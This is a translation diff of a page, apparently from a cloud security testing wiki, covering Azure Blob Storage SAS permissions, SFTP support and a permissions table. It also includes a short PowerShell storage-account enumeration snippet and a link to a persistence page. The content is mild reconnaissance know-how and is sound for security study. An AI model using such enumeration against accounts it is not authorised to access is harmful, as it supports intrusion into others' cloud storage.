of the SAS @@ -204,27 +204,27 @@ Beachte einige **http params**: #### SAS permissions -Beim Erstellen einer SAS muss angegeben werden, welche Berechtigungen gewährt werden sollen. Abhängig vom Objekt, über das die SAS erzeugt wird, können unterschiedliche Berechtigungen enthalten sein. Zum Beispiel: +When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example: - (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete -## SFTP-Unterstützung für Azure Blob Storage +## SFTP Support for Azure Blob Storage -Azure Blob Storage unterstützt jetzt das SSH File Transfer Protocol (SFTP), wodurch sicherer Dateitransfer und -verwaltung direkt zu Blob Storage möglich sind, ohne benutzerdefinierte Lösungen oder Drittanbieterprodukte. +Azure Blob Storage unterstützt jetzt das SSH File Transfer Protocol (SFTP) und ermöglicht sichere Dateiübertragung und -verwaltung direkt zu Blob Storage, ohne benutzerdefinierte Lösungen oder Drittanbieterprodukte zu benötigen. -### Wichtige Funktionen +### Key Features -- Protocol Support: SFTP funktioniert mit Blob Storage-Konten, die mit hierarchical namespace (HNS) konfiguriert sind. Dadurch werden Blobs in Verzeichnisse und Unterverzeichnisse organisiert, um die Navigation zu erleichtern. -- Security: SFTP verwendet lokale Benutzeridentitäten zur Authentifizierung und integriert sich nicht in RBAC oder ABAC. Jeder lokale Benutzer kann sich über folgende Methoden authentifizieren: +- Protocol Support: SFTP funktioniert mit Blob Storage accounts, die mit hierarchical namespace (HNS) konfiguriert sind. Dadurch werden Blobs in Verzeichnisse und Unterverzeichnisse organisiert, was die Navigation erleichtert. +- Security: SFTP verwendet lokale Benutzeridentitäten zur Authentifizierung und integriert sich nicht in RBAC oder ABAC. Jeder lokale Benutzer kann sich authentifizieren über: - Azure-generated passwords - Public-private SSH key pairs -- Granular Permissions: Berechtigungen wie Read, Write, Delete und List können lokalen Benutzern für bis zu 100 Container zugewiesen werden. -- Networking Considerations: SFTP-Verbindungen erfolgen über Port 22. Azure unterstützt Netzwerk-Konfigurationen wie Firewalls, private Endpunkte oder virtuelle Netzwerke, um SFTP-Verkehr abzusichern. +- Granular Permissions: Berechtigungen wie Lesen, Schreiben, Löschen und Auflisten können lokalen Benutzern für bis zu 100 container zugewiesen werden. +- Networking Considerations: SFTP-Verbindungen erfolgen über Port 22. Azure unterstützt Netzwerk-Konfigurationen wie Firewalls, private endpoints oder virtual networks, um SFTP-Traffic abzusichern. -### Setup-Anforderungen +### Setup Requirements -- Hierarchical Namespace: HNS muss beim Erstellen des Storage-Kontos aktiviert sein. -- Supported Encryption: Erfordert vom Microsoft Security Development Lifecycle (SDL) genehmigte kryptografische Algorithmen (z. B. rsa-sha2-256, ecdsa-sha2-nistp256). +- Hierarchical Namespace: HNS muss beim Erstellen des storage account aktiviert sein. +- Supported Encryption: Erfordert von Microsoft SDL (Security Development Lifecycle) zugelassene kryptografische Algorithmen (z. B. rsa-sha2-256, ecdsa-sha2-nistp256). - SFTP Configuration: - Enable SFTP on the storage account. - Create local user identities with appropriate permissions. @@ -232,15 +232,15 @@ Azure Blob Storage unterstützt jetzt das SSH File Transfer Protocol (SFTP), wod ### Permissions -| Berechtigung | Symbol | Beschreibung | -| ---------------------- | ------ | ------------------------------------- | -| **Read** | `r` | Dateiinhalt lesen. | +| Permission | Symbol | Description | +| ---------------------- | ------ | ------------------------------------ | +| **Read** | `r` | Dateiinhalt lesen. | | **Write** | `w` | Dateien hochladen und Verzeichnisse erstellen. | -| **List** | `l` | Inhalte von Verzeichnissen auflisten. | -| **Delete** | `d` | Dateien oder Verzeichnisse löschen. | -| **Create** | `c` | Dateien oder Verzeichnisse erstellen. | -| **Modify Ownership** | `o` | Eigentümerbenutzer oder -gruppe ändern. | -| **Modify Permissions** | `p` | ACLs von Dateien oder Verzeichnissen ändern. | +| **List** | `l` | Inhalte von Verzeichnissen auflisten.| +| **Delete** | `d` | Dateien oder Verzeichnisse löschen. | +| **Create** | `c` | Dateien oder Verzeichnisse erstellen.| +| **Modify Ownership** | `o` | Besitzender Benutzer oder Gruppe ändern. | +| **Modify Permissions** | `p` | ACLs auf Dateien oder Verzeichnissen ändern. | ## Enumeration @@ -372,7 +372,7 @@ az storage account local-user list \ {{#tab name="Az PowerShell" }}
-Az PowerShell Aufklärung +Az PowerShell enumeration ```powershell # Get storage accounts Get-AzStorageAccount | fl @@ -459,7 +459,7 @@ az-file-shares.md ../az-persistence/az-storage-persistence.md {{#endref}} -## Quellen +## Referenzen - [https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction](https://learn.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)